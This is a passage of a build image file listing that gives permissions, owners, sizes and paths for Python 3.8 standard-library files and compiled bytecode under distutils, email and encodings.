+-rw-r--r-- root root 6539 ./usr/lib/python3.8/distutils/__pycache__/archive_util.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4497 ./usr/lib/python3.8/distutils/__pycache__/archive_util.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6539 ./usr/lib/python3.8/distutils/__pycache__/archive_util.cpython-38.pyc
+-rw-r--r-- root root 6523 ./usr/lib/python3.8/distutils/__pycache__/bcppcompiler.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6235 ./usr/lib/python3.8/distutils/__pycache__/bcppcompiler.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6523 ./usr/lib/python3.8/distutils/__pycache__/bcppcompiler.cpython-38.pyc
+-rw-r--r-- root root 33170 ./usr/lib/python3.8/distutils/__pycache__/ccompiler.cpython-38.opt-1.pyc
+-rw-r--r-- root root 16864 ./usr/lib/python3.8/distutils/__pycache__/ccompiler.cpython-38.opt-2.pyc
+-rw-r--r-- root root 33297 ./usr/lib/python3.8/distutils/__pycache__/ccompiler.cpython-38.pyc
+-rw-r--r-- root root 13948 ./usr/lib/python3.8/distutils/__pycache__/cmd.cpython-38.opt-1.pyc
+-rw-r--r-- root root 8082 ./usr/lib/python3.8/distutils/__pycache__/cmd.cpython-38.opt-2.pyc
+-rw-r--r-- root root 13948 ./usr/lib/python3.8/distutils/__pycache__/cmd.cpython-38.pyc
+-rw-r--r-- root root 3509 ./usr/lib/python3.8/distutils/__pycache__/config.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3118 ./usr/lib/python3.8/distutils/__pycache__/config.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3509 ./usr/lib/python3.8/distutils/__pycache__/config.cpython-38.pyc
+-rw-r--r-- root root 6614 ./usr/lib/python3.8/distutils/__pycache__/core.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3227 ./usr/lib/python3.8/distutils/__pycache__/core.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6614 ./usr/lib/python3.8/distutils/__pycache__/core.cpython-38.pyc
+-rw-r--r-- root root 8612 ./usr/lib/python3.8/distutils/__pycache__/cygwinccompiler.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6982 ./usr/lib/python3.8/distutils/__pycache__/cygwinccompiler.cpython-38.opt-2.pyc
+-rw-r--r-- root root 8612 ./usr/lib/python3.8/distutils/__pycache__/cygwinccompiler.cpython-38.pyc
+-rw-r--r-- root root 194 ./usr/lib/python3.8/distutils/__pycache__/debug.cpython-38.opt-1.pyc
+-rw-r--r-- root root 194 ./usr/lib/python3.8/distutils/__pycache__/debug.cpython-38.opt-2.pyc
+-rw-r--r-- root root 194 ./usr/lib/python3.8/distutils/__pycache__/debug.cpython-38.pyc
+-rw-r--r-- root root 2714 ./usr/lib/python3.8/distutils/__pycache__/dep_util.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1270 ./usr/lib/python3.8/distutils/__pycache__/dep_util.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2714 ./usr/lib/python3.8/distutils/__pycache__/dep_util.cpython-38.pyc
+-rw-r--r-- root root 5823 ./usr/lib/python3.8/distutils/__pycache__/dir_util.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3445 ./usr/lib/python3.8/distutils/__pycache__/dir_util.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5823 ./usr/lib/python3.8/distutils/__pycache__/dir_util.cpython-38.pyc
+-rw-r--r-- root root 34492 ./usr/lib/python3.8/distutils/__pycache__/dist.cpython-38.opt-1.pyc
+-rw-r--r-- root root 25201 ./usr/lib/python3.8/distutils/__pycache__/dist.cpython-38.opt-2.pyc
+-rw-r--r-- root root 34492 ./usr/lib/python3.8/distutils/__pycache__/dist.cpython-38.pyc
+-rw-r--r-- root root 5250 ./usr/lib/python3.8/distutils/__pycache__/errors.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2702 ./usr/lib/python3.8/distutils/__pycache__/errors.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5250 ./usr/lib/python3.8/distutils/__pycache__/errors.cpython-38.pyc
+-rw-r--r-- root root 6923 ./usr/lib/python3.8/distutils/__pycache__/extension.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3433 ./usr/lib/python3.8/distutils/__pycache__/extension.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6923 ./usr/lib/python3.8/distutils/__pycache__/extension.cpython-38.pyc
+-rw-r--r-- root root 10512 ./usr/lib/python3.8/distutils/__pycache__/fancy_getopt.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7709 ./usr/lib/python3.8/distutils/__pycache__/fancy_getopt.cpython-38.opt-2.pyc
+-rw-r--r-- root root 10656 ./usr/lib/python3.8/distutils/__pycache__/fancy_getopt.cpython-38.pyc
+-rw-r--r-- root root 9777 ./usr/lib/python3.8/distutils/__pycache__/filelist.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6906 ./usr/lib/python3.8/distutils/__pycache__/filelist.cpython-38.opt-2.pyc
+-rw-r--r-- root root 9867 ./usr/lib/python3.8/distutils/__pycache__/filelist.cpython-38.pyc
+-rw-r--r-- root root 5933 ./usr/lib/python3.8/distutils/__pycache__/file_util.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3796 ./usr/lib/python3.8/distutils/__pycache__/file_util.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5933 ./usr/lib/python3.8/distutils/__pycache__/file_util.cpython-38.pyc
+-rw-r--r-- root root 384 ./usr/lib/python3.8/distutils/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 202 ./usr/lib/python3.8/distutils/__pycache__/__init__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 384 ./usr/lib/python3.8/distutils/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 2315 ./usr/lib/python3.8/distutils/__pycache__/log.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2254 ./usr/lib/python3.8/distutils/__pycache__/log.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2315 ./usr/lib/python3.8/distutils/__pycache__/log.cpython-38.pyc
+-rw-r--r-- root root 17451 ./usr/lib/python3.8/distutils/__pycache__/msvc9compiler.cpython-38.opt-1.pyc
+-rw-r--r-- root root 15830 ./usr/lib/python3.8/distutils/__pycache__/msvc9compiler.cpython-38.opt-2.pyc
+-rw-r--r-- root root 17510 ./usr/lib/python3.8/distutils/__pycache__/msvc9compiler.cpython-38.pyc
+-rw-r--r-- root root 12907 ./usr/lib/python3.8/distutils/__pycache__/_msvccompiler.cpython-38.opt-1.pyc
+-rw-r--r-- root root 14723 ./usr/lib/python3.8/distutils/__pycache__/msvccompiler.cpython-38.opt-1.pyc
+-rw-r--r-- root root 11757 ./usr/lib/python3.8/distutils/__pycache__/_msvccompiler.cpython-38.opt-2.pyc
+-rw-r--r-- root root 13148 ./usr/lib/python3.8/distutils/__pycache__/msvccompiler.cpython-38.opt-2.pyc
+-rw-r--r-- root root 12966 ./usr/lib/python3.8/distutils/__pycache__/_msvccompiler.cpython-38.pyc
+-rw-r--r-- root root 14723 ./usr/lib/python3.8/distutils/__pycache__/msvccompiler.cpython-38.pyc
+-rw-r--r-- root root 5106 ./usr/lib/python3.8/distutils/__pycache__/spawn.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3802 ./usr/lib/python3.8/distutils/__pycache__/spawn.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5106 ./usr/lib/python3.8/distutils/__pycache__/spawn.cpython-38.pyc
+-rw-r--r-- root root 12101 ./usr/lib/python3.8/distutils/__pycache__/sysconfig.cpython-38.opt-1.pyc
+-rw-r--r-- root root 8616 ./usr/lib/python3.8/distutils/__pycache__/sysconfig.cpython-38.opt-2.pyc
+-rw-r--r-- root root 12101 ./usr/lib/python3.8/distutils/__pycache__/sysconfig.cpython-38.pyc
+-rw-r--r-- root root 8439 ./usr/lib/python3.8/distutils/__pycache__/text_file.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3341 ./usr/lib/python3.8/distutils/__pycache__/text_file.cpython-38.opt-2.pyc
+-rw-r--r-- root root 8439 ./usr/lib/python3.8/distutils/__pycache__/text_file.cpython-38.pyc
+-rw-r--r-- root root 6618 ./usr/lib/python3.8/distutils/__pycache__/unixccompiler.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6029 ./usr/lib/python3.8/distutils/__pycache__/unixccompiler.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6618 ./usr/lib/python3.8/distutils/__pycache__/unixccompiler.cpython-38.pyc
+-rw-r--r-- root root 15546 ./usr/lib/python3.8/distutils/__pycache__/util.cpython-38.opt-1.pyc
+-rw-r--r-- root root 9662 ./usr/lib/python3.8/distutils/__pycache__/util.cpython-38.opt-2.pyc
+-rw-r--r-- root root 15546 ./usr/lib/python3.8/distutils/__pycache__/util.cpython-38.pyc
+-rw-r--r-- root root 7266 ./usr/lib/python3.8/distutils/__pycache__/version.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3981 ./usr/lib/python3.8/distutils/__pycache__/version.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7311 ./usr/lib/python3.8/distutils/__pycache__/version.cpython-38.pyc
+-rw-r--r-- root root 5135 ./usr/lib/python3.8/distutils/__pycache__/versionpredicate.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2655 ./usr/lib/python3.8/distutils/__pycache__/versionpredicate.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5135 ./usr/lib/python3.8/distutils/__pycache__/versionpredicate.cpython-38.pyc
+-rw-r--r-- root root 242 ./usr/lib/python3.8/distutils/README
+-rw-r--r-- root root 7843 ./usr/lib/python3.8/distutils/spawn.py
+-rw-r--r-- root root 20390 ./usr/lib/python3.8/distutils/sysconfig.py
+-rw-r--r-- root root 12483 ./usr/lib/python3.8/distutils/text_file.py
+-rw-r--r-- root root 14696 ./usr/lib/python3.8/distutils/unixccompiler.py
+-rw-r--r-- root root 20892 ./usr/lib/python3.8/distutils/util.py
+-rw-r--r-- root root 5133 ./usr/lib/python3.8/distutils/versionpredicate.py
+-rw-r--r-- root root 12345 ./usr/lib/python3.8/distutils/version.py
+-rw-r--r-- root root 6027 ./usr/lib/python3.8/_dummy_thread.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/email
+-rw-r--r-- root root 9561 ./usr/lib/python3.8/email/architecture.rst
+-rw-r--r-- root root 3558 ./usr/lib/python3.8/email/base64mime.py
+-rw-r--r-- root root 17128 ./usr/lib/python3.8/email/charset.py
+-rw-r--r-- root root 10672 ./usr/lib/python3.8/email/contentmanager.py
+-rw-r--r-- root root 8524 ./usr/lib/python3.8/email/_encoded_words.py
+-rw-r--r-- root root 1786 ./usr/lib/python3.8/email/encoders.py
+-rw-r--r-- root root 3647 ./usr/lib/python3.8/email/errors.py
+-rw-r--r-- root root 22780 ./usr/lib/python3.8/email/feedparser.py
+-rw-r--r-- root root 19975 ./usr/lib/python3.8/email/generator.py
+-rw-r--r-- root root 24102 ./usr/lib/python3.8/email/header.py
+-rw-r--r-- root root 20591 ./usr/lib/python3.8/email/headerregistry.py
+-rw-r--r-- root root 106460 ./usr/lib/python3.8/email/_header_value_parser.py
+-rw-r--r-- root root 1766 ./usr/lib/python3.8/email/__init__.py
+-rw-r--r-- root root 2135 ./usr/lib/python3.8/email/iterators.py
+-rw-r--r-- root root 47072 ./usr/lib/python3.8/email/message.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/email/mime
+-rw-r--r-- root root 1321 ./usr/lib/python3.8/email/mime/application.py
+-rw-r--r-- root root 2739 ./usr/lib/python3.8/email/mime/audio.py
+-rw-r--r-- root root 916 ./usr/lib/python3.8/email/mime/base.py
+-rw-r--r-- root root 1829 ./usr/lib/python3.8/email/mime/image.py
+-rw-r--r-- root root 0 ./usr/lib/python3.8/email/mime/__init__.py
+-rw-r--r-- root root 1317 ./usr/lib/python3.8/email/mime/message.py
+-rw-r--r-- root root 1621 ./usr/lib/python3.8/email/mime/multipart.py
+-rw-r--r-- root root 691 ./usr/lib/python3.8/email/mime/nonmultipart.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/email/mime/__pycache__
+-rw-r--r-- root root 1459 ./usr/lib/python3.8/email/mime/__pycache__/application.cpython-38.opt-1.pyc
+-rw-r--r-- root root 805 ./usr/lib/python3.8/email/mime/__pycache__/application.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1459 ./usr/lib/python3.8/email/mime/__pycache__/application.cpython-38.pyc
+-rw-r--r-- root root 2624 ./usr/lib/python3.8/email/mime/__pycache__/audio.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1184 ./usr/lib/python3.8/email/mime/__pycache__/audio.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2624 ./usr/lib/python3.8/email/mime/__pycache__/audio.cpython-38.pyc
+-rw-r--r-- root root 1041 ./usr/lib/python3.8/email/mime/__pycache__/base.cpython-38.opt-1.pyc
+-rw-r--r-- root root 717 ./usr/lib/python3.8/email/mime/__pycache__/base.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1041 ./usr/lib/python3.8/email/mime/__pycache__/base.cpython-38.pyc
+-rw-r--r-- root root 1904 ./usr/lib/python3.8/email/mime/__pycache__/image.cpython-38.opt-1.pyc
+-rw-r--r-- root root 827 ./usr/lib/python3.8/email/mime/__pycache__/image.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1904 ./usr/lib/python3.8/email/mime/__pycache__/image.cpython-38.pyc
+-rw-r--r-- root root 132 ./usr/lib/python3.8/email/mime/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 132 ./usr/lib/python3.8/email/mime/__pycache__/__init__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 132 ./usr/lib/python3.8/email/mime/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 1282 ./usr/lib/python3.8/email/mime/__pycache__/message.cpython-38.opt-1.pyc
+-rw-r--r-- root root 790 ./usr/lib/python3.8/email/mime/__pycache__/message.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1282 ./usr/lib/python3.8/email/mime/__pycache__/message.cpython-38.pyc
+-rw-r--r-- root root 1502 ./usr/lib/python3.8/email/mime/__pycache__/multipart.cpython-38.opt-1.pyc
+-rw-r--r-- root root 706 ./usr/lib/python3.8/email/mime/__pycache__/multipart.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1502 ./usr/lib/python3.8/email/mime/__pycache__/multipart.cpython-38.pyc
+-rw-r--r-- root root 764 ./usr/lib/python3.8/email/mime/__pycache__/nonmultipart.cpython-38.opt-1.pyc
+-rw-r--r-- root root 629 ./usr/lib/python3.8/email/mime/__pycache__/nonmultipart.cpython-38.opt-2.pyc
+-rw-r--r-- root root 764 ./usr/lib/python3.8/email/mime/__pycache__/nonmultipart.cpython-38.pyc
+-rw-r--r-- root root 1311 ./usr/lib/python3.8/email/mime/__pycache__/text.cpython-38.opt-1.pyc
+-rw-r--r-- root root 800 ./usr/lib/python3.8/email/mime/__pycache__/text.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1311 ./usr/lib/python3.8/email/mime/__pycache__/text.cpython-38.pyc
+-rw-r--r-- root root 1437 ./usr/lib/python3.8/email/mime/text.py
+-rw-r--r-- root root 17604 ./usr/lib/python3.8/email/_parseaddr.py
+-rw-r--r-- root root 5041 ./usr/lib/python3.8/email/parser.py
+-rw-r--r-- root root 15073 ./usr/lib/python3.8/email/_policybase.py
+-rw-r--r-- root root 10383 ./usr/lib/python3.8/email/policy.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/email/__pycache__
+-rw-r--r-- root root 3235 ./usr/lib/python3.8/email/__pycache__/base64mime.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1458 ./usr/lib/python3.8/email/__pycache__/base64mime.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3235 ./usr/lib/python3.8/email/__pycache__/base64mime.cpython-38.pyc
+-rw-r--r-- root root 11422 ./usr/lib/python3.8/email/__pycache__/charset.cpython-38.opt-1.pyc
+-rw-r--r-- root root 5093 ./usr/lib/python3.8/email/__pycache__/charset.cpython-38.opt-2.pyc
+-rw-r--r-- root root 11459 ./usr/lib/python3.8/email/__pycache__/charset.cpython-38.pyc
+-rw-r--r-- root root 7343 ./usr/lib/python3.8/email/__pycache__/contentmanager.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7343 ./usr/lib/python3.8/email/__pycache__/contentmanager.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7343 ./usr/lib/python3.8/email/__pycache__/contentmanager.cpython-38.pyc
+-rw-r--r-- root root 5686 ./usr/lib/python3.8/email/__pycache__/_encoded_words.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3800 ./usr/lib/python3.8/email/__pycache__/_encoded_words.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5686 ./usr/lib/python3.8/email/__pycache__/_encoded_words.cpython-38.pyc
+-rw-r--r-- root root 1612 ./usr/lib/python3.8/email/__pycache__/encoders.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1261 ./usr/lib/python3.8/email/__pycache__/encoders.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1612 ./usr/lib/python3.8/email/__pycache__/encoders.cpython-38.pyc
+-rw-r--r-- root root 5905 ./usr/lib/python3.8/email/__pycache__/errors.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4473 ./usr/lib/python3.8/email/__pycache__/errors.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5905 ./usr/lib/python3.8/email/__pycache__/errors.cpython-38.pyc
+-rw-r--r-- root root 10490 ./usr/lib/python3.8/email/__pycache__/feedparser.cpython-38.opt-1.pyc
+-rw-r--r-- root root 8827 ./usr/lib/python3.8/email/__pycache__/feedparser.cpython-38.opt-2.pyc
+-rw-r--r-- root root 10642 ./usr/lib/python3.8/email/__pycache__/feedparser.cpython-38.pyc
+-rw-r--r-- root root 12482 ./usr/lib/python3.8/email/__pycache__/generator.cpython-38.opt-1.pyc
+-rw-r--r-- root root 8783 ./usr/lib/python3.8/email/__pycache__/generator.cpython-38.opt-2.pyc
+-rw-r--r-- root root 12482 ./usr/lib/python3.8/email/__pycache__/generator.cpython-38.pyc
+-rw-r--r-- root root 16439 ./usr/lib/python3.8/email/__pycache__/header.cpython-38.opt-1.pyc
+-rw-r--r-- root root 10815 ./usr/lib/python3.8/email/__pycache__/header.cpython-38.opt-2.pyc
+-rw-r--r-- root root 16439 ./usr/lib/python3.8/email/__pycache__/header.cpython-38.pyc
+-rw-r--r-- root root 21848 ./usr/lib/python3.8/email/__pycache__/headerregistry.cpython-38.opt-1.pyc
+-rw-r--r-- root root 16085 ./usr/lib/python3.8/email/__pycache__/headerregistry.cpython-38.opt-2.pyc
+-rw-r--r-- root root 21900 ./usr/lib/python3.8/email/__pycache__/headerregistry.cpython-38.pyc
+-rw-r--r-- root root 79739 ./usr/lib/python3.8/email/__pycache__/_header_value_parser.cpython-38.opt-1.pyc
+-rw-r--r-- root root 62867 ./usr/lib/python3.8/email/__pycache__/_header_value_parser.cpython-38.opt-2.pyc
+-rw-r--r-- root root 79787 ./usr/lib/python3.8/email/__pycache__/_header_value_parser.cpython-38.pyc
+-rw-r--r-- root root 1691 ./usr/lib/python3.8/email/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1066 ./usr/lib/python3.8/email/__pycache__/__init__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1691 ./usr/lib/python3.8/email/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 1920 ./usr/lib/python3.8/email/__pycache__/iterators.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1300 ./usr/lib/python3.8/email/__pycache__/iterators.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1920 ./usr/lib/python3.8/email/__pycache__/iterators.cpython-38.pyc
+-rw-r--r-- root root 37878 ./usr/lib/python3.8/email/__pycache__/message.cpython-38.opt-1.pyc
+-rw-r--r-- root root 21316 ./usr/lib/python3.8/email/__pycache__/message.cpython-38.opt-2.pyc
+-rw-r--r-- root root 37878 ./usr/lib/python3.8/email/__pycache__/message.cpython-38.pyc
+-rw-r--r-- root root 12454 ./usr/lib/python3.8/email/__pycache__/_parseaddr.cpython-38.opt-1.pyc
+-rw-r--r-- root root 9494 ./usr/lib/python3.8/email/__pycache__/_parseaddr.cpython-38.opt-2.pyc
+-rw-r--r-- root root 12454 ./usr/lib/python3.8/email/__pycache__/_parseaddr.cpython-38.pyc
+-rw-r--r-- root root 5722 ./usr/lib/python3.8/email/__pycache__/parser.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2704 ./usr/lib/python3.8/email/__pycache__/parser.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5722 ./usr/lib/python3.8/email/__pycache__/parser.cpython-38.pyc
+-rw-r--r-- root root 14810 ./usr/lib/python3.8/email/__pycache__/_policybase.cpython-38.opt-1.pyc
+-rw-r--r-- root root 5982 ./usr/lib/python3.8/email/__pycache__/_policybase.cpython-38.opt-2.pyc
+-rw-r--r-- root root 14810 ./usr/lib/python3.8/email/__pycache__/_policybase.cpython-38.pyc
+-rw-r--r-- root root 9658 ./usr/lib/python3.8/email/__pycache__/policy.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3443 ./usr/lib/python3.8/email/__pycache__/policy.cpython-38.opt-2.pyc
+-rw-r--r-- root root 9658 ./usr/lib/python3.8/email/__pycache__/policy.cpython-38.pyc
+-rw-r--r-- root root 7678 ./usr/lib/python3.8/email/__pycache__/quoprimime.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4205 ./usr/lib/python3.8/email/__pycache__/quoprimime.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7678 ./usr/lib/python3.8/email/__pycache__/quoprimime.cpython-38.pyc
+-rw-r--r-- root root 9547 ./usr/lib/python3.8/email/__pycache__/utils.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6218 ./usr/lib/python3.8/email/__pycache__/utils.cpython-38.opt-2.pyc
+-rw-r--r-- root root 9547 ./usr/lib/python3.8/email/__pycache__/utils.cpython-38.pyc
+-rw-r--r-- root root 9858 ./usr/lib/python3.8/email/quoprimime.py
+-rw-r--r-- root root 13488 ./usr/lib/python3.8/email/utils.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/encodings
+-rw-r--r-- root root 15693 ./usr/lib/python3.8/encodings/aliases.py
+-rw-r--r-- root root 1248 ./usr/lib/python3.8/encodings/ascii.py
+-rw-r--r-- root root 1533 ./usr/lib/python3.8/encodings/base64_codec.py
+-rw-r--r-- root root 1039 ./usr/lib/python3.8/encodings/big5hkscs.py
+-rw-r--r-- root root 1019 ./usr/lib/python3.8/encodings/big5.py
+-rw-r--r-- root root 2249 ./usr/lib/python3.8/encodings/bz2_codec.py
+-rw-r--r-- root root 2084 ./usr/lib/python3.8/encodings/charmap.py
+-rw-r--r-- root root 13121 ./usr/lib/python3.8/encodings/cp037.py
+-rw-r--r-- root root 13568 ./usr/lib/python3.8/encodings/cp1006.py
+-rw-r--r-- root root 13113 ./usr/lib/python3.8/encodings/cp1026.py
+-rw-r--r-- root root 34597 ./usr/lib/python3.8/encodings/cp1125.py
+-rw-r--r-- root root 13105 ./usr/lib/python3.8/encodings/cp1140.py
+-rw-r--r-- root root 13686 ./usr/lib/python3.8/encodings/cp1250.py
+-rw-r--r-- root root 13361 ./usr/lib/python3.8/encodings/cp1251.py
+-rw-r--r-- root root 13511 ./usr/lib/python3.8/encodings/cp1252.py
+-rw-r--r-- root root 13094 ./usr/lib/python3.8/encodings/cp1253.py
+-rw-r--r-- root root 13502 ./usr/lib/python3.8/encodings/cp1254.py
+-rw-r--r-- root root 12466 ./usr/lib/python3.8/encodings/cp1255.py
+-rw-r--r-- root root 12814 ./usr/lib/python3.8/encodings/cp1256.py
+-rw-r--r-- root root 13374 ./usr/lib/python3.8/encodings/cp1257.py
+-rw-r--r-- root root 13364 ./usr/lib/python3.8/encodings/cp1258.py
+-rw-r--r-- root root 14132 ./usr/lib/python3.8/encodings/cp273.py
+-rw-r--r-- root root 12055 ./usr/lib/python3.8/encodings/cp424.py
+-rw-r--r-- root root 34564 ./usr/lib/python3.8/encodings/cp437.py
+-rw-r--r-- root root 13121 ./usr/lib/python3.8/encodings/cp500.py
+-rw-r--r-- root root 13686 ./usr/lib/python3.8/encodings/cp720.py
+-rw-r--r-- root root 34681 ./usr/lib/python3.8/encodings/cp737.py
+-rw-r--r-- root root 34476 ./usr/lib/python3.8/encodings/cp775.py
+-rw-r--r-- root root 34105 ./usr/lib/python3.8/encodings/cp850.py
+-rw-r--r-- root root 35002 ./usr/lib/python3.8/encodings/cp852.py
+-rw-r--r-- root root 33850 ./usr/lib/python3.8/encodings/cp855.py
+-rw-r--r-- root root 12423 ./usr/lib/python3.8/encodings/cp856.py
+-rw-r--r-- root root 33908 ./usr/lib/python3.8/encodings/cp857.py
+-rw-r--r-- root root 34015 ./usr/lib/python3.8/encodings/cp858.py
+-rw-r--r-- root root 34681 ./usr/lib/python3.8/encodings/cp860.py
+-rw-r--r-- root root 34633 ./usr/lib/python3.8/encodings/cp861.py
+-rw-r--r-- root root 33370 ./usr/lib/python3.8/encodings/cp862.py
+-rw-r--r-- root root 34252 ./usr/lib/python3.8/encodings/cp863.py
+-rw-r--r-- root root 33663 ./usr/lib/python3.8/encodings/cp864.py
+-rw-r--r-- root root 34618 ./usr/lib/python3.8/encodings/cp865.py
+-rw-r--r-- root root 34396 ./usr/lib/python3.8/encodings/cp866.py
+-rw-r--r-- root root 32965 ./usr/lib/python3.8/encodings/cp869.py
+-rw-r--r-- root root 12595 ./usr/lib/python3.8/encodings/cp874.py
+-rw-r--r-- root root 12854 ./usr/lib/python3.8/encodings/cp875.py
+-rw-r--r-- root root 1023 ./usr/lib/python3.8/encodings/cp932.py
+-rw-r--r-- root root 1023 ./usr/lib/python3.8/encodings/cp949.py
+-rw-r--r-- root root 1023 ./usr/lib/python3.8/encodings/cp950.py
+-rw-r--r-- root root 1051 ./usr/lib/python3.8/encodings/euc_jis_2004.py
+-rw-r--r-- root root 1051 ./usr/lib/python3.8/encodings/euc_jisx0213.py
+-rw-r--r-- root root 1027 ./usr/lib/python3.8/encodings/euc_jp.py
+-rw-r--r-- root root 1027 ./usr/lib/python3.8/encodings/euc_kr.py
+-rw-r--r-- root root 1031 ./usr/lib/python3.8/encodings/gb18030.py
+-rw-r--r-- root root 1027 ./usr/lib/python3.8/encodings/gb2312.py
+-rw-r--r-- root root 1015 ./usr/lib/python3.8/encodings/gbk.py
+-rw-r--r-- root root 1508 ./usr/lib/python3.8/encodings/hex_codec.py
+-rw-r--r-- root root 13475 ./usr/lib/python3.8/encodings/hp_roman8.py
+-rw-r--r-- root root 1011 ./usr/lib/python3.8/encodings/hz.py
+-rw-r--r-- root root 9170 ./usr/lib/python3.8/encodings/idna.py
+-rw-r--r-- root root 5588 ./usr/lib/python3.8/encodings/__init__.py
+-rw-r--r-- root root 1061 ./usr/lib/python3.8/encodings/iso2022_jp_1.py
+-rw-r--r-- root root 1073 ./usr/lib/python3.8/encodings/iso2022_jp_2004.py
+-rw-r--r-- root root 1061 ./usr/lib/python3.8/encodings/iso2022_jp_2.py
+-rw-r--r-- root root 1061 ./usr/lib/python3.8/encodings/iso2022_jp_3.py
+-rw-r--r-- root root 1069 ./usr/lib/python3.8/encodings/iso2022_jp_ext.py
+-rw-r--r-- root root 1053 ./usr/lib/python3.8/encodings/iso2022_jp.py
+-rw-r--r-- root root 1053 ./usr/lib/python3.8/encodings/iso2022_kr.py
+-rw-r--r-- root root 13589 ./usr/lib/python3.8/encodings/iso8859_10.py
+-rw-r--r-- root root 12335 ./usr/lib/python3.8/encodings/iso8859_11.py
+-rw-r--r-- root root 13271 ./usr/lib/python3.8/encodings/iso8859_13.py
+-rw-r--r-- root root 13652 ./usr/lib/python3.8/encodings/iso8859_14.py
+-rw-r--r-- root root 13212 ./usr/lib/python3.8/encodings/iso8859_15.py
+-rw-r--r-- root root 13557 ./usr/lib/python3.8/encodings/iso8859_16.py
+-rw-r--r-- root root 13176 ./usr/lib/python3.8/encodings/iso8859_1.py
+-rw-r--r-- root root 13404 ./usr/lib/python3.8/encodings/iso8859_2.py
+-rw-r--r-- root root 13089 ./usr/lib/python3.8/encodings/iso8859_3.py
+-rw-r--r-- root root 13376 ./usr/lib/python3.8/encodings/iso8859_4.py
+-rw-r--r-- root root 13015 ./usr/lib/python3.8/encodings/iso8859_5.py
+-rw-r--r-- root root 10833 ./usr/lib/python3.8/encodings/iso8859_6.py
+-rw-r--r-- root root 12844 ./usr/lib/python3.8/encodings/iso8859_7.py
+-rw-r--r-- root root 11036 ./usr/lib/python3.8/encodings/iso8859_8.py
+-rw-r--r-- root root 13156 ./usr/lib/python3.8/encodings/iso8859_9.py
+-rw-r--r-- root root 1023 ./usr/lib/python3.8/encodings/johab.py
+-rw-r--r-- root root 13779 ./usr/lib/python3.8/encodings/koi8_r.py
+-rw-r--r-- root root 13193 ./usr/lib/python3.8/encodings/koi8_t.py
+-rw-r--r-- root root 13762 ./usr/lib/python3.8/encodings/koi8_u.py
+-rw-r--r-- root root 13723 ./usr/lib/python3.8/encodings/kz1048.py
+-rw-r--r-- root root 1264 ./usr/lib/python3.8/encodings/latin_1.py
+-rw-r--r-- root root 36467 ./usr/lib/python3.8/encodings/mac_arabic.py
+-rw-r--r-- root root 14102 ./usr/lib/python3.8/encodings/mac_centeuro.py
+-rw-r--r-- root root 13633 ./usr/lib/python3.8/encodings/mac_croatian.py
+-rw-r--r-- root root 13454 ./usr/lib/python3.8/encodings/mac_cyrillic.py
+-rw-r--r-- root root 15170 ./usr/lib/python3.8/encodings/mac_farsi.py
